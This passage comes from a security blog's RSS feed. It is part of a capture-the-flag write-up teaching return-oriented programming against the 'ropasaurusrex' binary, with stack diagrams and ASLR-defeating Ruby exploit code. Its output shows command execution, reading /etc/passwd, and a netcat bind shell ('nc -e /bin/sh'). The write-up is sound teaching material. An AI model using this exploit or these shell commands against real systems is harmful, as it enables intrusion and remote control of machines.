+----------------------+
|   [return address]   | - where 'system' will return
+----------------------+
|         ...          | - doesn't matter, system() will use for locals
+----------------------+
</pre>
<p>Now if we stack this on top of our <tt>read()</tt> frame, things are looking pretty good:</p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- Start of system()'s stack frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ &lt;-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of system]  | &lt;-- Stack pointer
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>At the moment that <tt>read()</tt> returns, the stack pointer is in the location shown above. When it returns, it pops <tt>read()</tt>'s return address off the stack and jumps to it. When it does, this is what the stack looks like when <tt>read()</tt> returns: </p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ &lt;-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        | &lt;-- Stack pointer
+----------------------+
| [address of system]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>Uh oh, that's no good! The stack pointer is pointing to the middle of <tt>read()</tt>'s frame when we enter <tt>system()</tt>, not to the bottom of <tt>system()</tt>'s frame like we want it to! What do we do?</p>
<p>Well, when perform a ROP exploit, there's a very important construct we need called <tt>pop/pop/ret</tt>. In this case, it's actually <tt>pop/pop/pop/ret</tt>, which we'll call "pppr" for short. Just remember, it's enough "pops" to clear the stack, followed by a return.</p>
<p><tt>pop/pop/pop/ret</tt> is a construct that we use to remove the stuff we don't want off the stack. Since <tt>read()</tt> has three arguments, we need to pop all three of them off the stack, then return. To demonstrate, here's what the stack looks like immediately after <tt>read()</tt> returns to a <tt>pop/pop/pop/ret</tt>:</p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ &lt;-- Special frame for pop/pop/pop/ret
| [address of system]  |
+----------------------+

+----------------------+ &lt;-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        | &lt;-- Stack pointer
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>After "pop/pop/pop/ret" runs, but before it returns, we get this:</p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ &lt;-- pop/pop/pop/ret's frame
| [address of system]  | &lt;-- stack pointer
+----------------------+

+----------------------+
|     size_t count     | &lt;-- read()'s frame
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>Then when it returns, we're exactly where we want to be:</p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   | &lt;-- stack pointer
+----------------------+

+----------------------+ &lt;-- pop/pop/pop/ret's frame
| [address of system]  |
+----------------------+

+----------------------+ &lt;-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>Finding a <tt>pop/pop/pop/ret</tt> is pretty easy using <tt>objdump</tt>:</p>
<pre>
<span class="lnr">1 </span>$ <span class="Identifier">objdump</span> -<span class="Identifier">d</span> ./<span class="Identifier">ropasaurusrex</span> <span class="Comment">| egrep 'pop|ret'</span>
<span class="lnr">2 </span>[...]
<span class="lnr">3 </span> <span class="Constant">80484b5</span>:       <span class="Constant">5b</span>                      <span class="Identifier">pop</span>    <span class="Identifier">ebx</span>
<span class="lnr">4 </span> <span class="Constant">80484b6</span>:       <span class="Constant">5e</span>                      <span class="Identifier">pop</span>    <span class="Identifier">esi</span>
<span class="lnr">5 </span> <span class="Constant">80484b7</span>:       <span class="Constant">5f</span>                      <span class="Identifier">pop</span>    <span class="Identifier">edi</span>
<span class="lnr">6 </span> <span class="Constant">80484b8</span>:       <span class="Constant">5d</span>                      <span class="Identifier">pop</span>    <span class="Identifier">ebp</span>
<span class="lnr">7 </span> <span class="Constant">80484b9</span>:       <span class="Identifier">c3</span>                      <span class="Identifier">ret</span>
</pre>
<p>This lets us remove between 1 and 4 arguments off the stack before executing the next function. Perfect!</p>
<p>And remember, if you're doing this yourself, ensure that the pops are at consecutive addresses. Using <tt>egrep</tt> to find them can be a little dangerous like that.</p>
<p>So now, if we want a triple <tt>pop</tt> and a <tt>ret</tt> (to remove the three arguments that <tt>read()</tt> used), we want the address <tt>0x80484b6</tt>, so we set up our stack like this:</p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- Start of system()'s frame
|      void *arg       | - 0x08049530 (buf)
+----------------------+
|   [return address]   | - 0x44444444
+----------------------+

+----------------------+
| [address of system]  | - 0xb7ec2450
+----------------------+

+----------------------+ &lt;-- Start of read()'s frame
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - 0x08049530 (buf)
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  | - 0x080484b6
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>We also update our exploit with a <tt>s.read()</tt> at the end, to read whatever data the remote server sends us. The current exploit now looks like:</p>
<pre>
<span class="lnr"> 1 </span><span class="PreProc">require</span> <span class="Special">'</span><span class="Constant">socket</span><span class="Special">'</span>
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>s = <span class="Type">TCPSocket</span>.new(<span class="Special">&quot;</span><span class="Constant">localhost</span><span class="Special">&quot;</span>, <span class="Constant">4444</span>)
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span><span class="Comment"># The command we'll run</span>
<span class="lnr"> 6 </span>cmd = <span class="Identifier">ARGV</span>[<span class="Constant">0</span>] + <span class="Special">&quot;</span><span class="Special">\0</span><span class="Special">&quot;</span>
<span class="lnr"> 7 </span>
<span class="lnr"> 8 </span><span class="Comment"># From objdump -x</span>
<span class="lnr"> 9 </span>buf = <span class="Constant">0x08049530</span>
<span class="lnr">10 </span>
<span class="lnr">11 </span><span class="Comment"># From objdump -D ./ropasaurusrex | grep read</span>
<span class="lnr">12 </span>read_addr = <span class="Constant">0x0804832C</span>
<span class="lnr">13 </span><span class="Comment"># From objdump -D ./ropasaurusrex | grep write</span>
<span class="lnr">14 </span>write_addr = <span class="Constant">0x0804830C</span>
<span class="lnr">15 </span><span class="Comment"># From gdb, &quot;x/x system&quot;</span>
<span class="lnr">16 </span>system_addr = <span class="Constant">0xb7ec2450</span>
<span class="lnr">17 </span><span class="Comment"># From objdump, &quot;pop/pop/pop/ret&quot;</span>
<span class="lnr">18 </span>pppr_addr = <span class="Constant">0x080484b6</span>
<span class="lnr">19 </span>
<span class="lnr">20 </span><span class="Comment"># Generate the payload</span>
<span class="lnr">21 </span>payload = <span class="Special">&quot;</span><span class="Constant">A</span><span class="Special">&quot;</span>*<span class="Constant">140</span> +
<span class="lnr">22 </span>  [
<span class="lnr">23 </span>    <span class="Comment"># system()'s stack frame</span>
<span class="lnr">24 </span>    buf,         <span class="Comment"># writable memory (cmd buf)</span>
<span class="lnr">25 </span>    <span class="Constant">0x44444444</span>,  <span class="Comment"># system()'s return address</span>
<span class="lnr">26 </span>
<span class="lnr">27 </span>    <span class="Comment"># pop/pop/pop/ret's stack frame</span>
<span class="lnr">28 </span>    system_addr, <span class="Comment"># pop/pop/pop/ret's return address</span>
<span class="lnr">29 </span>
<span class="lnr">30 </span>    <span class="Comment"># read()'s stack frame</span>
<span class="lnr">31 </span>    cmd.length,  <span class="Comment"># number of bytes</span>
<span class="lnr">32 </span>    buf,         <span class="Comment"># writable memory (cmd buf)</span>
<span class="lnr">33 </span>    <span class="Constant">0</span>,           <span class="Comment"># stdin</span>
<span class="lnr">34 </span>    pppr_addr,   <span class="Comment"># read()'s return address</span>
<span class="lnr">35 </span>
<span class="lnr">36 </span>    read_addr <span class="Comment"># Overwrite the original return</span>
<span class="lnr">37 </span>  ].reverse.pack(<span class="Special">&quot;</span><span class="Constant">I*</span><span class="Special">&quot;</span>) <span class="Comment"># Convert a series of 'ints' to a string</span>
<span class="lnr">38 </span>
<span class="lnr">39 </span><span class="Comment"># Write the 'exploit' payload</span>
<span class="lnr">40 </span>s.write(payload)
<span class="lnr">41 </span>
<span class="lnr">42 </span><span class="Comment"># When our payload calls read() the first time, this is read</span>
<span class="lnr">43 </span>s.write(cmd)
<span class="lnr">44 </span>
<span class="lnr">45 </span><span class="Comment"># Read the response from the command and print it to the screen</span>
<span class="lnr">46 </span>puts(s.read)
<span class="lnr">47 </span>
<span class="lnr">48 </span><span class="Comment"># Clean up</span>
<span class="lnr">49 </span>s.close()
</pre>
<p>And when we run it, we get the expected result:</p>
<pre>
<span class="lnr">1 </span><span class="Identifier">$ ruby sploit.rb &quot;cat /etc/passwd&quot;</span>
<span class="lnr">2 </span><span class="Identifier">root</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">0</span><span class="Normal">:</span><span class="Constant">0</span><span class="Normal">:</span><span class="Comment">root</span><span class="Normal">:</span><span class="Type">/root</span><span class="Normal">:</span><span class="Statement">/bin/bash</span>
<span class="lnr">3 </span><span class="Identifier">daemon</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">1</span><span class="Normal">:</span><span class="Constant">1</span><span class="Normal">:</span><span class="Comment">daemon</span><span class="Normal">:</span><span class="Type">/usr/sbin</span><span class="Normal">:</span><span class="Statement">/bin/sh</span>
<span class="lnr">4 </span><span class="Identifier">bin</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">2</span><span class="Normal">:</span><span class="Constant">2</span><span class="Normal">:</span><span class="Comment">bin</span><span class="Normal">:</span><span class="Type">/bin</span><span class="Normal">:</span><span class="Statement">/bin/sh</span>
<span class="lnr">5 </span><span class="Identifier">...</span>
</pre>
<p>And if you look at the <a href="https://en.wikipedia.org/wiki/Core_dump">core dump</a>, you'll see it's crashing at <tt>0x44444444</tt> as expected.</p>
<p>Done, right?</p>
<p>WRONG!</p>
<p>This exploit worked perfectly against my test machine, but when ASLR is enabled, it failed:</p>
<pre>
<span class="lnr">1 </span>$ sudo sysctl <span class="Special">-w</span> <span class="Identifier">kernel.randomize_va_space</span>=<span class="Constant">1</span>
<span class="lnr">2 </span>kernel.randomize_va_space <span class="Statement">=</span> <span class="Constant">1</span>
<span class="lnr">3 </span>ron@debian-x86 ~ $ ruby sploit.rb <span class="Statement">&quot;</span><span class="Constant">cat /etc/passwd</span><span class="Statement">&quot;</span>
</pre>
<p>This is where it starts to get a little more complicated. Let's go!</p>
<h2>What is ASLR?</h2>
<p>ASLR&mdash;or address space layout randomization&mdash;is a defense implemented on all modern systems (except for FreeBSD) that randomizes the address that libraries are loaded at. As an example, let's run ropasaurusrex twice and get the address of <tt>system()</tt>:</p>
<pre>
<span class="lnr"> 1 </span>ron@debian-x86 ~ $ perl <span class="Special">-e</span> <span class="Statement">'</span><span class="Constant">printf &quot;A&quot;x1000</span><span class="Statement">'</span> | ./ropasaurusrex
<span class="lnr"> 2 </span>Segmentation fault <span class="PreProc">(</span><span class="Special">core dumped</span><span class="PreProc">)</span>
<span class="lnr"> 3 </span>ron@debian-x86 ~ $ gdb ./ropasaurusrex core
<span class="lnr"> 4 </span>Program terminated with signal <span class="Constant">11</span>, Segmentation fault.
<span class="lnr"> 5 </span><span class="Comment">#0  0x41414141 in ?? ()</span>
<span class="lnr"> 6 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> x/x system
<span class="lnr"> 7 </span>0xb766e450 <span class="Statement">&lt;</span>system<span class="Statement">&gt;</span>:    0x890cec83
<span class="lnr"> 8 </span>
<span class="lnr"> 9 </span>ron@debian-x86 ~ $ perl <span class="Special">-e</span> <span class="Statement">'</span><span class="Constant">printf &quot;A&quot;x1000</span><span class="Statement">'</span> | ./ropasaurusrex
<span class="lnr">10 </span>Segmentation fault <span class="PreProc">(</span><span class="Special">core dumped</span><span class="PreProc">)</span>
<span class="lnr">11 </span>ron@debian-x86 ~ $ gdb ./ropasaurusrex core
<span class="lnr">12 </span>Program terminated with signal <span class="Constant">11</span>, Segmentation fault.
<span class="lnr">13 </span><span class="Comment">#0  0x41414141 in ?? ()</span>
<span class="lnr">14 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> x/x system
<span class="lnr">15 </span>0xb76a7450 <span class="Statement">&lt;</span>system<span class="Statement">&gt;</span>:    0x890cec83
</pre>
<p>Notice that the address of <tt>system()</tt> changes from <tt>0xb766e450</tt> to <tt>0xb76a7450</tt>. That's a problem!</p>
<h2>Defeating ASLR</h2>
<p>So, what do we know? Well, the binary itself isn't ASLRed, which means that we can rely on every address in it to stay put, which is useful. Most importantly, the relocation table will remain at the same address:</p>
<pre>
<span class="lnr"> 1 </span>$ objdump <span class="Special">-R</span> ./ropasaurusrex
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>./ropasaurusrex:     <span class="Statement">file</span> format elf32-i386
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span>DYNAMIC RELOCATION RECORDS
<span class="lnr"> 6 </span>OFFSET   TYPE              VALUE
<span class="lnr"> 7 </span>08049600 R_386_GLOB_DAT    __gmon_start__
<span class="lnr"> 8 </span>08049610 R_386_JUMP_SLOT   __gmon_start__
<span class="lnr"> 9 </span>08049614 R_386_JUMP_SLOT   <span class="Statement">write</span>
<span class="lnr">10 </span>08049618 R_386_JUMP_SLOT   __libc_start_main
<span class="lnr">11 </span>0804961c R_386_JUMP_SLOT   <span class="Statement">read</span>
</pre>
<p>So we know the address&mdash;in the binary&mdash;of <tt>read()</tt> and <tt>write()</tt>. What's that mean? Let's take a look at their values while the binary is running:</p>
<pre>
<span class="lnr">1 </span>$ gdb ./ropasaurusrex
<span class="lnr">2 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> run
<span class="lnr">3 </span>^C
<span class="lnr">4 </span>Program received signal SIGINT, Interrupt.
<span class="lnr">5 </span>0xb7fe2424 <span class="Error">in</span> __kernel_vsyscall <span class="PreProc">()</span>
<span class="lnr">6 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> x/x 0x0804961c
<span class="lnr">7 </span>0x804961c:      0xb7f48110
<span class="lnr">8 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> <span class="Statement">print</span><span class="Constant"> read</span>
<span class="lnr">9 </span><span class="PreProc">$1</span> <span class="Statement">=</span> <span class="Special">{</span><span class="Statement">&lt;</span>text variable, no debug info<span class="Statement">&gt;</span><span class="Special">}</span> 0xb7f48110 <span class="Statement">&lt;</span><span class="Statement">read</span><span class="Statement">&gt;</span>
</pre>
<p>Well look at that.. a pointer to <tt>read()</tt> at a memory address that we know! What can we do with that, I wonder...? I'll give you a hint: we can use the <tt>write()</tt> function&mdash;which we also know&mdash;to grab data from arbitrary memory and write it to the socket.</p>
<h2>Finally, running some code!</h2>
<p>Okay, let's break, this down into steps. We need to:</p>
<ol>
<li>Copy a command into memory using the <tt>read()</tt> function.</li>
<li>Get the address of the <tt>write()</tt> function using the <tt>write()</tt> function.</li>
<li>Calculate the offset between <tt>write()</tt> and <tt>system()</tt>, which lets us get the address of <tt>system()</tt>.</li>
<li>Call <tt>system()</tt>.</li>
</ol>
<p>To call <tt>system()</tt>, we're gonna have to write the address of <tt>system()</tt> somewhere in memory, then call it. The easiest way to do that is to overwrite the call to <tt>read()</tt> in the <tt>.plt</tt> table, then call <tt>read()</tt>.</p>
<p>By now, you're probably confused. Don't worry, I was too. I was shocked I got this working. :)</p>
<p>Let's just go for broke now and get this working! Here's the stack frame we want:</p>
<pre>
+----------------------+
|         ...          |
+----------------------+

+----------------------+ &lt;-- system()'s frame [7]
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ &lt;-- pop/pop/pop/ret's frame [6]
|  [address of read]   | - this will actually jump to system()
+----------------------+

+----------------------+ &lt;-- second read()'s frame [5]
|     size_t count     | - 4 bytes (the size of a 32-bit address)
+----------------------+
|      void *buf       | - pointer to read() so we can overwrite it
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+ &lt;-- pop/pop/pop/ret's frame [4]
|  [address of read]   |
+----------------------+

+----------------------+ &lt;-- write()'s frame [3]
|     size_t count     | - 4 bytes (the size of a 32-bit address)
+----------------------+
|      void *buf       | - The address containing a pointer to read()
+----------------------+
|        int fd        | - 1 (stdout)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+ &lt;-- pop/pop/pop/ret's frame [2]
|  [address of write]  |
+----------------------+

+----------------------+ &lt;-- read()'s frame [1]
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - writeable memory
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+
</pre>
<p>Holy smokes, what's going on!?</p>
<p>Let's start at the bottom and work our way up! I tagged each frame with a number for easy reference.</p>
<p>Frame [1] we've seen before. It writes <tt>cmd</tt> into our writable memory. Frame [2] is a standard <tt>pop/pop/pop/ret</tt> to clean up the <tt>read()</tt>.</p>
<p>Frame [3] uses <tt>write()</tt> to write the address of the <tt>read()</tt> function to the socket. Frame [4] uses a standard <tt>pop/pop/pop/ret</tt> to clean up after <tt>write()</tt>.</p>
<p>Frame [5] reads another address over the socket and writes it to memory. This address is going to be the address of the <tt>system()</tt> call. The reason writing it to memory works is because of how <tt>read()</tt> is called. Take a look at the <tt>read()</tt> call we've been using in gdb (<tt>0x0804832C</tt>) and you'll see this:</p>
<pre>
<span class="lnr">1 </span><span class="PreProc">(</span><span class="Special">gdb</span><span class="PreProc">)</span> x/i 0x0804832C
<span class="lnr">2 </span>0x804832c <span class="Statement">&lt;</span><span class="Statement">read</span>@plt<span class="Statement">&gt;</span>:   jmp    DWORD PTR ds:0x804961c
</pre>
<p><tt>read()</tt> is actually implemented as an indirect jump! So if we can change what <tt>ds:0x804961c</tt>'s value is, and still jump to it, then we can jump anywhere we want! So in frame [3] we read the address from memory (to get the actual address of <tt>read()</tt>) and in frame [5] we write a new address there.</p>
<p>Frame [6] is a standard <tt>pop/pop/pop/ret</tt> construct, with a small difference: the return address of the <tt>pop/pop/pop/ret</tt> is <tt>0x804832c</tt>, which is actually <tt>read()</tt>'s <tt>.plt</tt> entry. Since we overwrote <tt>read()</tt>'s <tt>.plt</tt> entry with <tt>system()</tt>, this call actually goes to <tt>system()</tt>!</p>
<h2>Final code</h2>
<p>Whew! That's quite complicated. Here's code that implements the full exploit for ropasaurusrex, bypassing both DEP and ASLR:</p>
<pre>
<span class="lnr"> 1 </span><span class="PreProc">require</span> <span class="Special">'</span><span class="Constant">socket</span><span class="Special">'</span>
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span>s = <span class="Type">TCPSocket</span>.new(<span class="Special">&quot;</span><span class="Constant">localhost</span><span class="Special">&quot;</span>, <span class="Constant">4444</span>)
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span><span class="Comment"># The command we'll run</span>
<span class="lnr"> 6 </span>cmd = <span class="Identifier">ARGV</span>[<span class="Constant">0</span>] + <span class="Special">&quot;</span><span class="Special">\0</span><span class="Special">&quot;</span>
<span class="lnr"> 7 </span>
<span class="lnr"> 8 </span><span class="Comment"># From objdump -x</span>
<span class="lnr"> 9 </span>buf = <span class="Constant">0x08049530</span>
<span class="lnr">10 </span>
<span class="lnr">11 </span><span class="Comment"># From objdump -D ./ropasaurusrex | grep read</span>
<span class="lnr">12 </span>read_addr = <span class="Constant">0x0804832C</span>
<span class="lnr">13 </span><span class="Comment"># From objdump -D ./ropasaurusrex | grep write</span>
<span class="lnr">14 </span>write_addr = <span class="Constant">0x0804830C</span>
<span class="lnr">15 </span><span class="Comment"># From gdb, &quot;x/x system&quot;</span>
<span class="lnr">16 </span>system_addr = <span class="Constant">0xb7ec2450</span>
<span class="lnr">17 </span><span class="Comment"># Fram objdump, &quot;pop/pop/pop/ret&quot;</span>
<span class="lnr">18 </span>pppr_addr = <span class="Constant">0x080484b6</span>
<span class="lnr">19 </span>
<span class="lnr">20 </span><span class="Comment"># The location where read()'s .plt entry is</span>
<span class="lnr">21 </span>read_addr_ptr = <span class="Constant">0x0804961c</span>
<span class="lnr">22 </span>
<span class="lnr">23 </span><span class="Comment"># The difference between read() and system()</span>
<span class="lnr">24 </span><span class="Comment"># Calculated as  read (0xb7f48110) - system (0xb7ec2450)</span>
<span class="lnr">25 </span><span class="Comment"># Note: This is the one number that needs to be calculated using the</span>
<span class="lnr">26 </span><span class="Comment"># target version of libc rather than my own!</span>
<span class="lnr">27 </span>read_system_diff = <span class="Constant">0x85cc0</span>
<span class="lnr">28 </span>
<span class="lnr">29 </span><span class="Comment"># Generate the payload</span>
<span class="lnr">30 </span>payload = <span class="Special">&quot;</span><span class="Constant">A</span><span class="Special">&quot;</span>*<span class="Constant">140</span> +
<span class="lnr">31 </span>  [
<span class="lnr">32 </span>    <span class="Comment"># system()'s stack frame</span>
<span class="lnr">33 </span>    buf,         <span class="Comment"># writable memory (cmd buf)</span>
<span class="lnr">34 </span>    <span class="Constant">0x44444444</span>,  <span class="Comment"># system()'s return address</span>
<span class="lnr">35 </span>
<span class="lnr">36 </span>    <span class="Comment"># pop/pop/pop/ret's stack frame</span>
<span class="lnr">37 </span>    <span class="Comment"># Note that this calls read_addr, which is overwritten by a pointer</span>
<span class="lnr">38 </span>    <span class="Comment"># to system() in the previous stack frame</span>
<span class="lnr">39 </span>    read_addr,   <span class="Comment"># (this will become system())</span>
<span class="lnr">40 </span>
<span class="lnr">41 </span>    <span class="Comment"># second read()'s stack frame</span>
<span class="lnr">42 </span>    <span class="Comment"># This reads the address of system() from the socket and overwrites</span>
<span class="lnr">43 </span>    <span class="Comment"># read()'s .plt entry with it, so calls to read() end up going to</span>
<span class="lnr">44 </span>    <span class="Comment"># system()</span>
<span class="lnr">45 </span>    <span class="Constant">4</span>,           <span class="Comment"># length of an address</span>
<span class="lnr">46 </span>    read_addr_ptr, <span class="Comment"># address of read()'s .plt entry</span>
<span class="lnr">47 </span>    <span class="Constant">0</span>,           <span class="Comment"># stdin</span>
<span class="lnr">48 </span>    pppr_addr,   <span class="Comment"># read()'s return address</span>
<span class="lnr">49 </span>
<span class="lnr">50 </span>    <span class="Comment"># pop/pop/pop/ret's stack frame</span>
<span class="lnr">51 </span>    read_addr,
<span class="lnr">52 </span>
<span class="lnr">53 </span>    <span class="Comment"># write()'s stack frame</span>
<span class="lnr">54 </span>    <span class="Comment"># This frame gets the address of the read() function from the .plt</span>
<span class="lnr">55 </span>    <span class="Comment"># entry and writes to to stdout</span>
<span class="lnr">56 </span>    <span class="Constant">4</span>,           <span class="Comment"># length of an address</span>
<span class="lnr">57 </span>    read_addr_ptr, <span class="Comment"># address of read()'s .plt entry</span>
<span class="lnr">58 </span>    <span class="Constant">1</span>,           <span class="Comment"># stdout</span>
<span class="lnr">59 </span>    pppr_addr,   <span class="Comment"># retrurn address</span>
<span class="lnr">60 </span>
<span class="lnr">61 </span>    <span class="Comment"># pop/pop/pop/ret's stack frame</span>
<span class="lnr">62 </span>    write_addr,
<span class="lnr">63 </span>
<span class="lnr">64 </span>    <span class="Comment"># read()'s stack frame</span>
<span class="lnr">65 </span>    <span class="Comment"># This reads the command we want to run from the socket and puts it</span>
<span class="lnr">66 </span>    <span class="Comment"># in our writable &quot;buf&quot;</span>
<span class="lnr">67 </span>    cmd.length,  <span class="Comment"># number of bytes</span>
<span class="lnr">68 </span>    buf,         <span class="Comment"># writable memory (cmd buf)</span>
<span class="lnr">69 </span>    <span class="Constant">0</span>,           <span class="Comment"># stdin</span>
<span class="lnr">70 </span>    pppr_addr,   <span class="Comment"># read()'s return address</span>
<span class="lnr">71 </span>
<span class="lnr">72 </span>    read_addr <span class="Comment"># Overwrite the original return</span>
<span class="lnr">73 </span>  ].reverse.pack(<span class="Special">&quot;</span><span class="Constant">I*</span><span class="Special">&quot;</span>) <span class="Comment"># Convert a series of 'ints' to a string</span>
<span class="lnr">74 </span>
<span class="lnr">75 </span><span class="Comment"># Write the 'exploit' payload</span>
<span class="lnr">76 </span>s.write(payload)
<span class="lnr">77 </span>
<span class="lnr">78 </span><span class="Comment"># When our payload calls read() the first time, this is read</span>
<span class="lnr">79 </span>s.write(cmd)
<span class="lnr">80 </span>
<span class="lnr">81 </span><span class="Comment"># Get the result of the first read() call, which is the actual address of read</span>
<span class="lnr">82 </span>this_read_addr = s.read(<span class="Constant">4</span>).unpack(<span class="Special">&quot;</span><span class="Constant">I</span><span class="Special">&quot;</span>).first
<span class="lnr">83 </span>
<span class="lnr">84 </span><span class="Comment"># Calculate the address of system()</span>
<span class="lnr">85 </span>this_system_addr = this_read_addr - read_system_diff
<span class="lnr">86 </span>
<span class="lnr">87 </span><span class="Comment"># Write the address back, where it'll be read() into the correct place by</span>
<span class="lnr">88 </span><span class="Comment"># the second read() call</span>
<span class="lnr">89 </span>s.write([this_system_addr].pack(<span class="Special">&quot;</span><span class="Constant">I</span><span class="Special">&quot;</span>))
<span class="lnr">90 </span>
<span class="lnr">91 </span><span class="Comment"># Finally, read the result of the actual command</span>
<span class="lnr">92 </span>puts(s.read())
<span class="lnr">93 </span>
<span class="lnr">94 </span><span class="Comment"># Clean up</span>
<span class="lnr">95 </span>s.close()
</pre>
<p>And here it is in action:</p>
<pre>
<span class="lnr">1 </span><span class="Identifier">$ ruby sploit.rb &quot;cat /etc/passwd&quot;</span>
<span class="lnr">2 </span><span class="Identifier">root</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">0</span><span class="Normal">:</span><span class="Constant">0</span><span class="Normal">:</span><span class="Comment">root</span><span class="Normal">:</span><span class="Type">/root</span><span class="Normal">:</span><span class="Statement">/bin/bash</span>
<span class="lnr">3 </span><span class="Identifier">daemon</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">1</span><span class="Normal">:</span><span class="Constant">1</span><span class="Normal">:</span><span class="Comment">daemon</span><span class="Normal">:</span><span class="Type">/usr/sbin</span><span class="Normal">:</span><span class="Statement">/bin/sh</span>
<span class="lnr">4 </span><span class="Identifier">bin</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">2</span><span class="Normal">:</span><span class="Constant">2</span><span class="Normal">:</span><span class="Comment">bin</span><span class="Normal">:</span><span class="Type">/bin</span><span class="Normal">:</span><span class="Statement">/bin/sh</span>
<span class="lnr">5 </span><span class="Identifier">sys</span><span class="Normal">:</span><span class="Special">x</span><span class="Normal">:</span><span class="Constant">3</span><span class="Normal">:</span><span class="Constant">3</span><span class="Normal">:</span><span class="Comment">sys</span><span class="Normal">:</span><span class="Type">/dev</span><span class="Normal">:</span><span class="Statement">/bin/sh</span>
<span class="lnr">6 </span><span class="Identifier">[...]</span>
</pre>
<p>You can, of course, change <tt>cat /etc/passwd</tt> to anything you want (including a netcat listener!)</p>
<pre>
<span class="lnr"> 1 </span>ron@debian-x86 ~ $ ruby sploit.rb <span class="Statement">&quot;</span><span class="Constant">pwd</span><span class="Statement">&quot;</span>
<span class="lnr"> 2 </span>/home/ron
<span class="lnr"> 3 </span>ron@debian-x86 ~ $ ruby sploit.rb <span class="Statement">&quot;</span><span class="Constant">whoami</span><span class="Statement">&quot;</span>
<span class="lnr"> 4 </span>ron
<span class="lnr"> 5 </span>ron@debian-x86 ~ $ ruby sploit.rb <span class="Statement">&quot;</span><span class="Constant">nc -vv -l -p 5555 -e /bin/sh</span><span class="Statement">&quot;</span> &amp;
<span class="lnr"> 6 </span><span class="Statement">[</span><span class="Constant">1</span><span class="Statement">]</span> <span class="Constant">3015</span>
<span class="lnr"> 7 </span>ron@debian-x86 ~ $ nc <span class="Special">-vv</span> localhost <span class="Constant">5555</span>
<span class="lnr"> 8 </span>debian-x86.skullseclabs.org <span class="Statement">[</span>127.0.0.1<span class="Statement">]</span> <span class="Constant">5555</span> <span class="PreProc">(</span><span class="Special">?</span><span class="PreProc">)</span> open
<span class="lnr"> 9 </span><span class="Statement">pwd</span>
<span class="lnr">10 </span>/home/ron
<span class="lnr">11 </span>whoami
<span class="lnr">12 </span>ron
</pre>
<h2>Conclusion</h2>
<p>And that's it! We just wrote a reliable, DEP/ASLR-bypassing exploit for ropasaurusrex.</p>
<p>Feel free to comment or contact me if you have any questions!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2013/ropasaurusrex-a-primer-on-return-oriented-programming/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Epic &quot;cnot&quot; Writeup (highest value level from PlaidCTF)</title>
		<link>http://www.skullsecurity.org/blog/2013/epic-cnot-writeup-plaidctf</link>
		<comments>http://www.skullsecurity.org/blog/2013/epic-cnot-writeup-plaidctf#comments</comments>
		<pubDate>Thu, 25 Apr 2013 13:35:22 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1512</guid>
